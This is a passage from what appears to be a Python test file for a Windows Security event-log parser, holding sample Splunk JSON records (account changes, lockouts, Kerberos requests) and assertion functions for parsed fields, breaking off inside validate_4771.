'{"Account_Domain": "test.com", "Account_Name": "fvjbvfjbvf$", "ComputerName": "fvjbvfjbvf.test.com", "Logon_ID": "0x3e7", "Message": "A privileged service was called.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\tfvjbvfjbvf$\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x3e7\\n\\nService:\\n\\tServer:\\tNT Local Security Authority / Authentication Service\\n\\tService Name:\\tLsaRegisterLogonProcess()\\n\\nProcess:\\n\\tProcess ID:\\t0x234\\n\\tProcess Name:\\tC:\\Windows\\System32\\lsass.exe\\n\\nService Request Information:\\n\\tPrivileges:\\t\\tSeTcbPrivilege", "Security_ID": "NT AUTHORITY\\SYSTEM", "_bkt": "wineventlog~15~3D7EB920-B824-4467-A0DA-EFE0925C0D7D", "_cd": "15:36073965", "_indextime": "1527787976", "_pre_msg": "04/30/2018 05:13:59 PM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4673\\nEventType=0\\nType=Information\\nComputerName=fvjbvfjbvf.test.com\\nTaskCategory=Sensitive Privilege Use\\nOpCode=Info\\nRecordNumber=6623591495\\nKeywords=Audit Success", "_raw":"04/30/2018 05:13:59 PM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4673\\nEventType=0\\nType=Information\\nComputerName=fvjbvfjbvf.test.com\\nTaskCategory=Sensitive Privilege Use\\nOpCode=Info\\nRecordNumber=6623591495\\nKeywords=Audit Success\\nMessage=A privileged service was called.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\tfvjbvfjbvf$\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x3e7\\n\\nService:\\n\\tServer:\\tNT Local Security Authority / Authentication Service\\n\\tService Name:\\tLsaRegisterLogonProcess()\\n\\nProcess:\\n\\tProcess ID:\\t0x234\\n\\tProcess Name:\\tC:\\Windows\\System32\\lsass.exe\\n\\nService Request Information:\\n\\tPrivileges:\\t\\tSeTcbPrivilege", "_serial": "153", "_si": ["idx9.nvda-sec.splunkcloud.com", "wineventlog"], "_sourcetype": "WinEventLog:Security", "_time": "2018-05-01T00:13:59.000+00:00", "dest_nt_host": "fvjbvfjbvf.test.com", "host": "hqdvppmwb07", "index": "wineventlog", "linecount": "29", "source": "WinEventLog:Security", "sourcetype": "WinEventLog:Security", "splunk_server": "sc.lab.test.com, "vendor_privilege": "SeTcbPrivilege","id":"sdgfhsdfhj-3245-dsf"}',
'{"preview":false,"result":{"EventCode":"4722","_raw":"09/27/2018 09:56:10 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4722\\nEventType=0\\nType=Information\\nComputerName=localhost.test.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=37352998061\\nKeywords=Audit Success\\nMessage=A user account was enabled.\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\dhgfckkcg\\n\\tAccount Name:\\t\\tdhgfckkcg\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x2D55E5EF7\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\hgcghjj\\n\\tAccount Name:\\t\\thgcghjj\\n\\tAccount Domain:\\t\\ttest.com","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4720","_raw":"09/27/2018 09:56:10 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4720\\nEventType=0\\nType=Information\\nComputerName=localhost.test.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=37352998061\\nKeywords=Audit Success\\nMessage=A user account was created.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tACME-FR\administrator\\n\\tAccount Name:\\t\\tadministrator\\n\\tAccount Domain:\\t\\tACME-FR\\n\\tLogon ID:\\t\\t0x20f9d\\n\\nNew Account:\\n\\tSecurity ID:\\t\\tACME-FR\John.LockeAccount\\n\\tName:\\t\\tJohn.Locke\\n\\tAccount Domain:\\t\\tACME-FR\\n\\nAttributes:\\n\\tSAM Account Name:\\t\\tJohn.Locke\\n\\tDisplay Name:\\t\\tJohn Locke\\n\\tUser Principal Name:\\t\\tJohn.Locke@acme-fr.local\\n\\tHome Directory:\\t\\t-\\n\\tHome Drive:\\t\\t-\\n\\tScript Path:\\t\\t-\\n\\tProfile Path:\\t\\t-\\n\\tUser Workstations:\\t\\t-\\n\\tPassword Last Set:\\t\\t<never>\\n\\tAccount Expires:\\t\\t<never>\\n\\tPrimary Group ID:\\t\\t513\\n\\tAllowed To Delegate To:\\t\\t-\\n\\tOld UAC Value:\\t\\t0x0\\n\\tNew UAC Value:\\t\\t0x15\\n\\tUser Account Control:\\t\\t\\nAccount Disabled\\n\'Password Not Required\' - Enabled\\n\'Normal Account\' - Enabled\\n\\tUser Parameters:\\t\\t-\\n\\tSID History:\\t\\t-\\n\\tLogon Hours:\\t\\t<value not set>\\n\\nAdditional Information:\\n\\tPrivileges\\t\\t-","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4723","_raw":"09/27/2018 10:24:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4723\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=9342213186\\nKeywords=Audit Failure\\nMessage=An attempt was made to change an account\'s password.\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x258440926\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\nAdditional Information:\\n\\tPrivileges\\t\\t-","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4724","_raw":"09/27/2018 10:24:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4724\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=9342213186\\nKeywords=Audit Failure\\nMessage=An attempt was made to reset an account\'s password.\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x258440926\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4725","_raw":"09/27/2018 10:24:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4725\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=9342213186\\nKeywords=Audit Failure\\nMessage=A user account was disabled..\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x258440926\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4726","_raw":"09/27/2018 10:24:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4726\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=9342213186\\nKeywords=Audit Failure\\nMessage=A user account was deleted.\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x258440926\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\nAdditional Information:\\n\\tPrivileges\\t\\t-","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"EventCode":"4732","_raw":"09/19/2018 06:18:24 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4732\\nEventType=0\\nType=Information\\nComputerName=testuser.localhost.com\\nTaskCategory=Security Group Management\\nOpCode=Info\\nRecordNumber=7984447290\\nKeywords=Audit Success\\nMessage=A member was added to a security-enabled local group.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\ttestuser$\\n\\tAccount Domain:\\t\\tlocalhost.COM\\n\\tLogon ID:\\t\\t0x3e7\\n\\nMember:\\n\\tSecurity ID:\\t\\tlocalhost.COM\\NV-LocalAdmins\\n\\tAccount Name:\\t\\t-\\n\\nGroup:\\n\\tSecurity ID:\\t\\ttestuser\\Offer Remote Assistance Helpers\\n\\tGroup Name:\\t\\tOffer Remote Assistance Helpers\\n\\tGroup Domain:\\t\\ttestuser\\n\\nAdditional Information:\\n\\tPrivileges:\\t\\t-","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"Account_Domain": ["PROD", "esfdhf06"], "Account_Name": ["esfdhf06$", "MATBLE"], "ComputerName": "esfdhf06.prod.test.com", "Logon_ID": "0x3E7", "Message": "A user account was changed.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\tesfdhf06$\\n\\tAccount Domain:\\t\\tPROD\\n\\tLogon ID:\\t\\t0x3E7\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\tesfdhf06\\ATBLE\\n\\tAccount Name:\\t\\tATBLE\\n\\tAccount Domain:\\t\\tesfdhf06\\n\\nChanged Attributes:\\n\\tSAM Account Name:\\tATBLE\\n\\tDisplay Name:\\t\\tMIKE ATBLE\\n\\tUser Principal Name:\\t-\\n\\tHome Directory:\\t\\t<value not set>\\n\\tHome Drive:\\t\\t<value not set>\\n\\tScript Path:\\t\\t<value not set>\\n\\tProfile Path:\\t\\t<value not set>\\n\\tUser Workstations:\\t<value not set>\\n\\tPassword Last Set:\\t5/1/2018 5:41:37 AM\\n\\tAccount Expires:\\t\\t<never>\\n\\tPrimary Group ID:\\t513\\n\\tAllowedToDelegateTo:\\t-\\n\\tOld UAC Value:\\t\\t0x210\\n\\tNew UAC Value:\\t\\t0x210\\n\\tUser Account Control:\\t-\\n\\tUser Parameters:\\t-\\n\\tSID History:\\t\\t-\\n\\tLogon Hours:\\t\\tAll\\n\\nAdditional Information:\\n\\tPrivileges:\\t\\t-", "Security_ID": ["NT AUTHORITY\\SYSTEM", "esfdhf06\\ATBLE"], "_bkt": "wineventlog~0~3D7EB920-B824-4467-A0DA-EFE0925C0D7D", "_cd": "0:1057390650", "_indextime": "1526126427", "_pre_msg": "05/01/2018 05:41:37 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4738\\nEventType=0\\nType=Information\\nComputerName=esfdhf06.prod.test.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=92255448\\nKeywords=Audit Success", "_raw":"05/01/2018 05:41:37 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4738\\nEventType=0\\nType=Information\\nComputerName=esfdhf06.prod.test.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=92255448\\nKeywords=Audit Success\\nMessage=A user account was changed.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\tesfdhf06$\\n\\tAccount Domain:\\t\\tPROD\\n\\tLogon ID:\\t\\t0x3E7\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\tesfdhf06\\ATBLE\\n\\tAccount Name:\\t\\tATBLE\\n\\tAccount Domain:\\t\\tesfdhf06\\n\\nChanged Attributes:\\n\\tSAM Account Name:\\tATBLE\\n\\tDisplay Name:\\t\\tMIKE ATBLE\\n\\tUser Principal Name:\\t-\\n\\tHome Directory:\\t\\t<value not set>\\n\\tHome Drive:\\t\\t<value not set>\\n\\tScript Path:\\t\\t<value not set>\\n\\tProfile Path:\\t\\t<value not set>\\n\\tUser Workstations:\\t<value not set>\\n\\tPassword Last Set:\\t5/1/2018 5:41:37 AM\\n\\tAccount Expires:\\t\\t<never>\\n\\tPrimary Group ID:\\t513\\n\\tAllowedToDelegateTo:\\t-\\n\\tOld UAC Value:\\t\\t0x210\\n\\tNew UAC Value:\\t\\t0x210\\n\\tUser Account Control:\\t-\\n\\tUser Parameters:\\t-\\n\\tSID History:\\t\\t-\\n\\tLogon Hours:\\t\\tAll\\n\\nAdditional Information:\\n\\tPrivileges:\\t\\t-", "_serial": "551", "_si": ["test.splunkcloud.com", "wineventlog"], "_sourcetype": "WinEventLog:Security", "_time": "2018-05-01T00:11:37.000+00:00", "dest_nt_host": "esfdhf06.prod.test.com", "host": "esfdhf06", "index": "wineventlog", "linecount": "46", "source": "WinEventLog:Security", "sourcetype": "WinEventLog:Security", "splunk_server": "test.splunkcloud.com", "vendor_privilege": "-","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4740","_raw":"09/28/2018 01:53:37 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4740\\nEventType=0\\nType=Information\\nComputerName=sdgbjsd02.test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=20832836\\nKeywords=Audit Success\\nMessage=A user account was locked out.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\tsdgbjsd02$\\n\\tAccount Domain:\\t\\tNVDMZ\\n\\tLogon ID:\\t\\t0x3E7\\n\\nAccount That Was Locked Out:\\n\\tSecurity ID:\\t\\tsdgbjsd02\\Guest\\n\\tAccount Name:\\t\\tGuest\\n\\nAdditional Information:\\n\\tCaller Computer Name:\\tsdgbjsd01","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4743","_raw":"09/27/2018 10:24:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4743\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=9342213186\\nKeywords=Audit Failure\\nMessage=A computer account was deleted.\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x258440926\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\nAdditional Information:\\n\\tPrivileges\\t\\t-","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"EventCode":"4756","_raw":"09/19/2018 06:18:24 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4756\\nEventType=0\\nType=Information\\nComputerName=testuser.localhost.com\\nTaskCategory=Security Group Management\\nOpCode=Info\\nRecordNumber=7984447290\\nKeywords=Audit Success\\nMessage=A member was added to a security-enabled universal group.\\n\\nSubject:\\n\\tSecurity ID:\\t\\tNT AUTHORITY\\SYSTEM\\n\\tAccount Name:\\t\\ttestuser$\\n\\tAccount Domain:\\t\\tlocalhost.COM\\n\\tLogon ID:\\t\\t0x3e7\\n\\nMember:\\n\\tSecurity ID:\\t\\tlocalhost.COM\\NV-LocalAdmins\\n\\tAccount Name:\\t\\t-\\n\\nGroup:\\n\\tSecurity ID:\\t\\ttestuser\\Offer Remote Assistance Helpers\\n\\tGroup Name:\\t\\tOffer Remote Assistance Helpers\\n\\tGroup Domain:\\t\\ttestuser\\n\\nAdditional Information:\\n\\tPrivileges:\\t\\t-\\n\\tExpiration time:\\t\\t","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4725","_raw":"09/27/2018 10:24:34 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4725\\nEventType=0\\nType=Information\\nComputerName=test.localhost.com\\nTaskCategory=User Account Management\\nOpCode=Info\\nRecordNumber=9342213186\\nKeywords=Audit Failure\\nMessage=A user account was unlocked.\\n\\nSubject:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com\\n\\tLogon ID:\\t\\t0x258440926\\n\\nTarget Account:\\n\\tSecurity ID:\\t\\ttest.com\\auser\\n\\tAccount Name:\\t\\tauser\\n\\tAccount Domain:\\t\\ttest.com","id":"tdr5d-fjfgg-687bv-klhk"}',
'{"preview":false,"result":{"EventCode":"4768","_raw":"09/27/2018 09:08:02 AM\\nLogName=Security\\nSourceName=Microsoft Windows security auditing.\\nEventCode=4768\\nEventType=0\\nType=Information\\nComputerName=test02.localhost.com\\nTaskCategory=Kerberos Authentication Service\\nOpCode=Info\\nRecordNumber=1376039507\\nKeywords=Audit Success\\nMessage=A Kerberos authentication ticket (TGT) was requested.\\n\\nAccount Information:\\n\\tAccount Name:\\t\\tHealthMailbox06ca30c\\n\\tSupplied Realm Name:\\tlocalhost.com\\n\\tUser ID:\\t\\t\\tlocalhost.com\\HealthMailbox06ca30c\\n\\nService Information:\\n\\tService Name:\\t\\tasdfgrvk\\n\\tService ID:\\t\\tlocalhost.com\\asdfgrvk\\n\\nNetwork Information:\\n\\tClient Address:\\t\\t::ffff:10.20.90.30\\n\\tClient Port:\\t\\t6349\\n\\nAdditional Information:\\n\\tTicket Options:\\t\\t0x40810010\\n\\tResult Code:\\t\\t0x0\\n\\tTicket Encryption Type:\\t0x12\\n\\tPre-Authentication Type:\\t2\\n\\nCertificate Information:\\n\\tCertificate Issuer Name:\\t\\t\\n\\tCertificate Serial Number:\\t\\n\\tCertificate Thumbprint:\\t\\t\\n\\nCertificate information is only provided if a certificate was used for pre-authentication.\\n\\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","id":"asd-eter-34235-fgd-346"}',
]
def validate_4624(parsed_rec):
assert parsed_rec["time"] == "04/01/2019 07:07:21 pm"
assert parsed_rec["id"] == "c54d7f17-8eb8-4d78-a8f7-4b681256e2b3"
assert parsed_rec["eventcode"] == "4624"
assert (
parsed_rec["detailed_authentication_information_authentication_package"] == "kerberos"
)
assert (
parsed_rec["new_logon_logon_guid"] == "{e53069f0-662e-0c65-f889-aa8d8770d56a}"
)
assert parsed_rec["failure_information_failure_reason"] == ""
assert parsed_rec["failure_information_status"] == ""
assert parsed_rec["computername"] == ""
assert parsed_rec["new_logon_logon_id"] == "0x9de8990de"
assert parsed_rec["subject_security_id"] == "null sid"
assert (
parsed_rec["detailed_authentication_information_package_name_ntlm_only"] == "-"
)
assert parsed_rec["logon_type"] == "3"
assert parsed_rec["account_for_which_logon_failed_security_id"] == ""
assert parsed_rec["detailed_authentication_information_key_length"] == "0"
assert parsed_rec["subject_logon_id"] == "0x0"
assert parsed_rec["process_information_caller_process_name"] == ""
assert parsed_rec["process_information_caller_process_id"] == ""
assert parsed_rec["subject_account_name"] == "-"
assert parsed_rec["process_information_process_name"] == "-"
assert parsed_rec["new_logon_account_name"] == "test106$"
assert parsed_rec["process_information_process_id"] == "0x0"
assert parsed_rec["failure_information_sub_status"] == ""
assert parsed_rec["new_logon_security_id"] == "test.comest"
assert parsed_rec["network_information_source_network_address"] == "100.00.100.1"
assert parsed_rec["detailed_authentication_information_transited_services"] == "-"
assert parsed_rec["new_logon_account_domain"] == "test.com"
assert parsed_rec["subject_account_domain"] == "-"
assert parsed_rec["detailed_authentication_information_logon_process"] == "kerberos"
assert parsed_rec["account_for_which_logon_failed_account_domain"] == ""
assert parsed_rec["account_for_which_logon_failed_account_name"] == ""
assert parsed_rec["network_information_workstation_name"] == ""
assert parsed_rec["network_information_source_port"] == "39028"
assert parsed_rec["application_information_process_id"] == ""
assert parsed_rec["application_information_application_name"] == ""
assert parsed_rec["network_information_direction"] == ""
assert parsed_rec["network_information_source_address"] == ""
assert parsed_rec["network_information_destination_address"] == ""
assert parsed_rec["network_information_destination_port"] == ""
assert parsed_rec["network_information_protocol"] == ""
assert parsed_rec["filter_information_filter_run_time_id"] == ""
assert parsed_rec["filter_information_layer_name"] == ""
assert parsed_rec["filter_information_layer_run_time_id"] == ""
def validate_4625(parsed_rec):
assert parsed_rec["time"] == "04/03/2019 05:57:33 am"
assert parsed_rec["id"] == "cf4876f3-716c-415c-994e-84acda054c9c"
assert parsed_rec["eventcode"] == "4625"
assert (
parsed_rec["detailed_authentication_information_authentication_package"] == "ntlm"
)
assert parsed_rec["new_logon_logon_guid"] == ""
assert (
parsed_rec["failure_information_failure_reason"] == "unknown user name or bad password."
)
assert parsed_rec["failure_information_status"] == "0xc000006d"
assert parsed_rec["computername"] == "abc.test.com"
assert parsed_rec["new_logon_logon_id"] == ""
assert parsed_rec["subject_security_id"] == "null sid"
assert (
parsed_rec["detailed_authentication_information_package_name_ntlm_only"] == "-"
)
assert parsed_rec["logon_type"] == "3"
assert parsed_rec["account_for_which_logon_failed_security_id"] == "null sid"
assert parsed_rec["detailed_authentication_information_key_length"] == "0"
assert parsed_rec["subject_logon_id"] == "0x0"
assert parsed_rec["process_information_caller_process_name"] == "-"
assert parsed_rec["process_information_caller_process_id"] == "0x0"
assert parsed_rec["subject_account_name"] == "-"
assert parsed_rec["process_information_process_name"] == ""
assert parsed_rec["new_logon_account_name"] == ""
assert parsed_rec["process_information_process_id"] == ""
assert parsed_rec["failure_information_sub_status"] == "0xc0000064"
assert parsed_rec["new_logon_security_id"] == ""
assert parsed_rec["network_information_source_network_address"] == "10.10.100.20"
assert parsed_rec["detailed_authentication_information_transited_services"] == "-"
assert parsed_rec["new_logon_account_domain"] == ""
assert parsed_rec["subject_account_domain"] == "-"
assert parsed_rec["detailed_authentication_information_logon_process"] == "ntlmssp"
assert parsed_rec["account_for_which_logon_failed_account_domain"] == "hxyz"
assert parsed_rec["account_for_which_logon_failed_account_name"] == "hxyz"
assert parsed_rec["network_information_workstation_name"] == "hxyz-pc1"
assert parsed_rec["network_information_source_port"] == "53662"
assert parsed_rec["application_information_process_id"] == ""
assert parsed_rec["application_information_application_name"] == ""
assert parsed_rec["network_information_direction"] == ""
assert parsed_rec["network_information_source_address"] == ""
assert parsed_rec["network_information_destination_address"] == ""
assert parsed_rec["network_information_destination_port"] == ""
assert parsed_rec["network_information_protocol"] == ""
assert parsed_rec["filter_information_filter_run_time_id"] == ""
assert parsed_rec["filter_information_layer_name"] == ""
assert parsed_rec["filter_information_layer_run_time_id"] == ""
def validate_5156(parsed_rec):
assert parsed_rec["time"] == "04/03/2019 11:58:59 am"
assert parsed_rec["id"] == "c3f48bba-90a1-4999-84a6-4da9d964d31d"
assert parsed_rec["eventcode"] == "5156"
assert (
parsed_rec["detailed_authentication_information_authentication_package"] == ""
)
assert parsed_rec["new_logon_logon_guid"] == ""
assert parsed_rec["failure_information_failure_reason"] == ""
assert parsed_rec["failure_information_status"] == ""
assert parsed_rec["computername"] == ""
assert parsed_rec["new_logon_logon_id"] == ""
assert parsed_rec["subject_security_id"] == ""
assert (
parsed_rec["detailed_authentication_information_package_name_ntlm_only"] == ""
)
assert parsed_rec["logon_type"] == ""
assert parsed_rec["account_for_which_logon_failed_security_id"] == ""
assert parsed_rec["detailed_authentication_information_key_length"] == ""
assert parsed_rec["subject_logon_id"] == ""
assert parsed_rec["process_information_caller_process_name"] == ""
assert parsed_rec["process_information_caller_process_id"] == ""
assert parsed_rec["subject_account_name"] == ""
assert parsed_rec["process_information_process_name"] == ""
assert parsed_rec["new_logon_account_name"] == ""
assert parsed_rec["process_information_process_id"] == ""
assert parsed_rec["failure_information_sub_status"] == ""
assert parsed_rec["new_logon_security_id"] == ""
assert parsed_rec["network_information_source_network_address"] == ""
assert parsed_rec["detailed_authentication_information_transited_services"] == ""
assert parsed_rec["new_logon_account_domain"] == ""
assert parsed_rec["subject_account_domain"] == ""
assert parsed_rec["detailed_authentication_information_logon_process"] == ""
assert parsed_rec["account_for_which_logon_failed_account_domain"] == ""
assert parsed_rec["account_for_which_logon_failed_account_name"] == ""
assert parsed_rec["network_information_workstation_name"] == ""
assert parsed_rec["network_information_source_port"] == "138"
assert parsed_rec["application_information_process_id"] == "4"
assert parsed_rec["application_information_application_name"] == "system"
assert parsed_rec["network_information_direction"] == "inbound"
assert parsed_rec["network_information_source_address"] == "100.20.100.20"
assert parsed_rec["network_information_destination_address"] == "100.20.100.30"
assert parsed_rec["network_information_destination_port"] == "138"
assert parsed_rec["network_information_protocol"] == "17"
assert parsed_rec["filter_information_filter_run_time_id"] == "0"
assert parsed_rec["filter_information_layer_name"] == "receive/accept"
assert parsed_rec["filter_information_layer_run_time_id"] == "44"
def validate_5157(parsed_rec):
assert parsed_rec["time"] == "04/03/2019 11:58:59 am"
assert parsed_rec["id"] == "565beda9-346a-46a3-9f1f-25eab8d3414d"
assert parsed_rec["eventcode"] == "5157"
assert (
parsed_rec["detailed_authentication_information_authentication_package"] == ""
)
assert parsed_rec["new_logon_logon_guid"] == ""
assert parsed_rec["failure_information_failure_reason"] == ""
assert parsed_rec["failure_information_status"] == ""
assert parsed_rec["computername"] == ""
assert parsed_rec["new_logon_logon_id"] == ""
assert parsed_rec["subject_security_id"] == ""
assert (
parsed_rec["detailed_authentication_information_package_name_ntlm_only"] == ""
)
assert parsed_rec["logon_type"] == ""
assert parsed_rec["account_for_which_logon_failed_security_id"] == ""
assert parsed_rec["detailed_authentication_information_key_length"] == ""
assert parsed_rec["subject_logon_id"] == ""
assert parsed_rec["process_information_caller_process_name"] == ""
assert parsed_rec["process_information_caller_process_id"] == ""
assert parsed_rec["subject_account_name"] == ""
assert parsed_rec["process_information_process_name"] == ""
assert parsed_rec["new_logon_account_name"] == ""
assert parsed_rec["process_information_process_id"] == ""
assert parsed_rec["failure_information_sub_status"] == ""
assert parsed_rec["new_logon_security_id"] == ""
assert parsed_rec["network_information_source_network_address"] == ""
assert parsed_rec["detailed_authentication_information_transited_services"] == ""
assert parsed_rec["new_logon_account_domain"] == ""
assert parsed_rec["subject_account_domain"] == ""
assert parsed_rec["detailed_authentication_information_logon_process"] == ""
assert parsed_rec["account_for_which_logon_failed_account_domain"] == ""
assert parsed_rec["account_for_which_logon_failed_account_name"] == ""
assert parsed_rec["network_information_workstation_name"] == ""
assert parsed_rec["network_information_source_port"] == "137"
assert parsed_rec["application_information_process_id"] == "1048"
assert (
parsed_rec["application_information_application_name"] == "\device\harddiskvolume1\windows\system32\svchost.exe"
)
assert parsed_rec["network_information_direction"] == "inbound"
assert parsed_rec["network_information_source_address"] == "100.20.100.30"
assert parsed_rec["network_information_destination_address"] == "100.20.100.20"
assert parsed_rec["network_information_destination_port"] == "137"
assert parsed_rec["network_information_protocol"] == "0"
assert parsed_rec["filter_information_filter_run_time_id"] == "65595"
assert parsed_rec["filter_information_layer_name"] == "receive/accept"
assert parsed_rec["filter_information_layer_run_time_id"] == "44"
def validate_4798(parsed_rec):
assert parsed_rec["time"] == "04/03/2019 05:57:33 am"
assert parsed_rec["id"] == "cf4876f3-716c-415c-994e-84acda054c9c"
assert parsed_rec["eventcode"] == "4798"
assert parsed_rec["subject_security_id"] == "null sid"
assert parsed_rec["subject_account_name"] == ""
assert parsed_rec["subject_logon_id"] == "0x0"
assert parsed_rec["user_security_id"] == "null sid"
assert parsed_rec["user_account_name"] == "hxyz"
assert parsed_rec["user_account_domain"] == "hxyz-pc1"
assert parsed_rec["process_information_process_id"] == "0x0"
assert parsed_rec["process_information_process_name"] == "-"
def validate_4769(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 04:45:36 am"
assert parsed_rec["id"] == "cf4876f3-716c-415c-994e-84acda054c9c"
assert parsed_rec["eventcode"] == "4769"
assert parsed_rec["account_information_account_name"] == "user@localhost.com"
assert parsed_rec["account_information_account_domain"] == "localhost.com"
assert (
parsed_rec["account_information_logon_guid"] == "{1f1d4c09-e154-4898-4eb8-e3a03e130d11}"
)
assert parsed_rec["service_information_service_name"] == "test.localhost.com"
assert parsed_rec["service_information_service_id"] == "none_mapped"
assert parsed_rec["network_information_client_address"] == "::ffff:100.10.100.20"
assert parsed_rec["network_information_client_port"] == "26061"
assert parsed_rec["additional_information_ticket_options"] == "0x40810000"
assert parsed_rec["additional_information_ticket_encryption_type"] == "0x17"
assert parsed_rec["additional_information_failure_code"] == "0x0"
assert parsed_rec["additional_information_transited_services"] == "-"
def validate_4770(parsed_rec):
assert parsed_rec["time"] == "09/27/2018 05:15:34 am"
assert parsed_rec["id"] == "052b3a64-f1bd-4884-8e48-30b553bc495a"
assert parsed_rec["eventcode"] == "4770"
assert parsed_rec["account_information_account_name"] == "test@localhost.com"
assert parsed_rec["account_information_account_domain"] == "localhost.com"
assert parsed_rec["service_information_service_name"] == "user"
assert parsed_rec["service_information_service_id"] == "localhost"
assert parsed_rec["network_information_client_address"] == "::ffff:10.30.100.130"
assert parsed_rec["network_information_client_port"] == "62133"
assert parsed_rec["additional_information_ticket_options"] == "0x50800002"
assert parsed_rec["additional_information_ticket_encryption_type"] == "0x12"
def validate_4771(parsed_rec):
assert parsed_rec["time"] == "12/06/2018 06:52:05 am"
